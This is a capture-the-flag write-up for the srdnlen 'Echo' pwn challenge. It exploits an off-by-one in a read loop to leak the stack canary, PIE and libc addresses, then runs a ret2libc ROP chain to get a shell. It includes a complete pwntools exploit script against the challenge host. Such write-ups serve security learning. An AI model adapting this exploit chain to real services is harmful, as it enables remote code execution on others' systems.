Echo
Echo
Platform: srdnlen | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-28 | Status: Solved Techniques: canary_bypass_via_leak, off_by_one_maxlen_overwrite, progressive_stack_leak, puts_no_null_terminator_leak, ret2libc_rop
Summary
Task: Echo server with off-by-one vulnerability in read loop. Solution: Overwrite maxlen to expand buffer, progressive stack leak via puts without null terminator, bypass canary and PIE via leaks, ret2libc ROP chain.
Echo — srdnlen CTF
Description
Echo is one of the most famous and simple programs on any system. Nothing can go wrong if I re-implement it, right?
Category: PWN
Difficulty: Medium
Remote: nc echo.challs.srdnlen.it 1091
Analysis
Binary Information
ELF 64-bit LSB PIE executable, x86-64, dynamically linked
Compiled with GCC 13.3.0 (Ubuntu 24.04)
Protections
| Protection | Status |
|---|---|
| PIE | Enabled |
| Stack Canary | Enabled |
| NX | Enabled |
| RELRO | Full RELRO |
| |
Program Logic
The binary implements a simple echo server with an infinite loop:
c read-only • copy allowedvoid echo() { char buf[64]; // offset 0x00 - 0x3F unsigned char maxlen; // offset 0x40 (1 byte, initialized to 0x40) // padding 7 bytes // offset 0x41 - 0x47 // stack canary // offset 0x48 - 0x4F // saved RBP // offset 0x50 - 0x57 // return address // offset 0x58 - 0x5F while (1) { printf("echo "); read_stdin(buf, maxlen); if (buf[0] == '\0') break; // empty line exits puts(buf); } }
Vulnerability: Off-by-one in read_stdin
The read_stdin function uses while (i <= maxlen) instead of while (i < maxlen), allowing it to read maxlen + 1 bytes. With maxlen = 0x40 (64), the 65th byte is written to buf[64] — which is the maxlen variable itself.
Key point: read_stdin terminates when i > maxlen without adding a null terminator. This means puts(buf) will continue printing data beyond the buffer until the first null byte — a stack leak.
Stack Layout
buf[0x00..0x3F] — 64 bytes buffer
buf[0x40] — maxlen (1 byte)
buf[0x41..0x47] — padding (7 bytes)
buf[0x48..0x4F] — stack canary (8 bytes, LSB = 0x00)
buf[0x50..0x57] — saved RBP (8 bytes)
buf[0x58..0x5F] — return address in echo (PIE)
buf[0x60..0x67] — ...
buf[0x68..0x6F] — ...
buf[0x70..0x77] — ...
buf[0x78..0x7F] — return address in main → libc (__libc_start_call_main+0x7a)
Solution
The exploitation consists of 5 phases, all within a single connection thanks to the infinite loop.
Phase 1: Expanding maxlen
Send 65 bytes: 64 bytes of filler + 0x48. The off-by-one overwrites maxlen from 0x40 to 0x48, expanding the allowed read size to 73 bytes.
python read-only • copy alloweddo_round(b"A" * 0x40 + b"\x48") # maxlen is now 0x48
Phase 2: Progressive Stack Leak
Send exactly maxlen + 1 bytes of filler (without newline). read_stdin terminates without a null terminator, and puts prints everything until the first \x00 on the stack.
Problem: the canary starts with \x00 (LSB), and addresses may contain null bytes. Solution — progressive leak:
- Fill the buffer up to position
leak_poswith0x42bytes putsprints all0x42bytes + original stack bytes until the next\x00- If the response is longer than what was sent — we got a leak
- If the response equals what was sent — the next byte is
\x00, remember it and move on - Gradually increase
maxlento access deeper stack regions
python read-only • copy allowed# Example: leaking canary[1..7] (canary[0] = 0x00 — known) # Fill 0x49 bytes → puts prints 0x49 + canary[1..7] until next \x00
Leak results:
- Stack canary (8 bytes)
- Saved RBP (8 bytes)
- PIE return address → calculate PIE base (
ret_addr - 0x1342) - Libc return address (
__libc_start_call_main + 0x7a= offset0x2A1CA)
Phase 3: Libc Identification
From the GCC version string in the binary (GCC 13.3.0) we determine Ubuntu 24.04. Build a Docker container, extract libc and find the required offsets:
python read-only • copy allowed# Ubuntu 24.04 libc6 2.39-0ubuntu8.x, x86_64 SYSTEM_OFF = 0x58750 BINSH_OFF = 0x1CB42F POP_RDI_OFF = 0x10F78B RET_OFF = 0x2882F
Libc base is calculated as: libc_ret - 0x2A1CA.
Phase 4: Building the ROP Chain
Set maxlen = 0x77 to write 0x78 bytes (covers return address + ROP chain):
python read-only • copy allowedrop_chain = p64(ret_gadget) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) payload = bytearray() payload += b"\x42" * 0x40 # buf[0..63] — filler payload += bytes([0x00]) # maxlen = 0x00 (so next read reads only 1 byte) payload += b"\x42" * 7 # padding payload += p64(canary_val) # correct canary! payload += p64(saved_rbp) # saved RBP payload += rop_chain # ret → pop rdi → "/bin/sh" → system
Important: check the payload for \x0a (newline) — read_stdin stops on \n. If \x0a is present in addresses (ASLR), restart with a new connection.
Phase 5: Triggering ROP
After sending the payload, maxlen became 0x00, so the next read_stdin reads only 1 byte. Send \n — buf[0] = 0x00 → exit loop → canary check (passes!) → ret → ROP chain → shell!
python read-only • copy allowedp.send(bytes(payload)) p.recvuntil(b"echo ") p.send(b"\n") # exit loop → ROP triggers # Shell!
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import time import sys context.arch = "amd64" context.log_level = "info" LOCAL = "--local" in sys.argv if LOCAL: HOST, PORT = "localhost", 11091 else: HOST, PORT = "echo.challs.srdnlen.it", 1091 # Libc offsets (Ubuntu 24.04 libc6 2.39-0ubuntu8.x, x86_64) SYSTEM_OFF = 0x58750 BINSH_OFF = 0x1CB42F POP_RDI_OFF = 0x10F78B RET_OFF = 0x2882F def exploit(): for attempt in range(50): try: log.info(f"=== Attempt {attempt + 1} ===") return try_exploit() except Exception as e: log.warning(f"Attempt {attempt + 1} failed: {e}") continue log.error("All attempts failed") def try_exploit(): p = remote(HOST, PORT) def do_round(data): p.send(data) raw = p.recvuntil(b"echo ", timeout=10) if not raw: raise Exception("No response / timeout") raw = raw[:-5] # remove "echo " if raw.endswith(b"\n"): raw = raw[:-1] return raw p.recvuntil(b"echo ") # Phase 1: Set maxlen to 0x48 do_round(b"A" * 0x40 + b"\x48") current_maxlen = 0x48 # Phase 2: Progressive leak of stack bytes 0x49 - 0x7F stack = bytearray(0x80) stack[0x48] = 0x00 # canary LSB always 0x00 leak_pos = 0x49 while leak_pos <= 0x7F: if current_maxlen < leak_pos - 1: needed = leak_pos - 1 pl = bytearray(b"\x42" * (current_maxlen + 1)) pl[0x40] = needed do_round(bytes(pl)) current_maxlen = needed pl = bytearray(b"\x42" * leak_pos) pl[0x40] = current_maxlen resp = do_round(bytes(pl)) if len(resp) == leak_pos: stack[leak_pos] = 0x00 leak_pos += 1 elif len(resp) > leak_pos: leaked = resp[leak_pos:] for j, b in enumerate(leaked): pos = leak_pos + j if pos < 0x80: stack[pos] = b null_pos = leak_pos + len(leaked) if null_pos < 0x80: stack[null_pos] = 0x00 leak_pos = null_pos + 1 else: break # Phase 3: Parse leaked values canary_val = u64(bytes(stack[0x48:0x50])) saved_rbp = u64(bytes(stack[0x50:0x58])) ret_addr = u64(bytes(stack[0x58:0x60])) pie_base = ret_addr - 0x1342 libc_ret = u64(bytes(stack[0x78:0x80])) log.success(f"Canary: {hex(canary_val)}") log.success(f"PIE base: {hex(pie_base)}") log.success(f"Libc ret: {hex(libc_ret)}") assert canary_val & 0xFF == 0 assert pie_base & 0xFFF == 0 # Calculate libc base known_offsets = [0x2A1CA, 0x29D90, 0x29D10] libc_base = None for off in known_offsets: candidate = libc_ret - off if candidate & 0xFFF == 0: libc_base = candidate break if libc_base is None: raise Exception(f"Unknown libc ret offset") system_addr = libc_base + SYSTEM_OFF binsh_addr = libc_base + BINSH_OFF pop_rdi = libc_base + POP_RDI_OFF ret_gadget = libc_base + RET_OFF # Phase 4: Build ROP payload rop_chain = p64(ret_gadget) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) payload = bytearray() payload += b"\x42" * 0x40 payload += bytes([0x00]) payload += b"\x42" * 7 payload += p64(canary_val) payload += p64(saved_rbp) payload += rop_chain # Check for \x0a in payload (breaks read_stdin) if any(b == 0x0A for b in payload): p.close() raise Exception("\\x0a in payload — retry with different ASLR") # Set maxlen to 0x77 needed_maxlen = 0x77 if current_maxlen != needed_maxlen: pl = bytearray(b"\x42" * (current_maxlen + 1)) pl[0x40] = needed_maxlen do_round(bytes(pl)) # Phase 5: Send payload and trigger ROP p.send(bytes(payload)) p.recvuntil(b"echo ", timeout=10) p.send(b"\n") # exit loop → canary check passes → ROP! time.sleep(1) p.sendline(b"cat /flag*") p.interactive() exploit()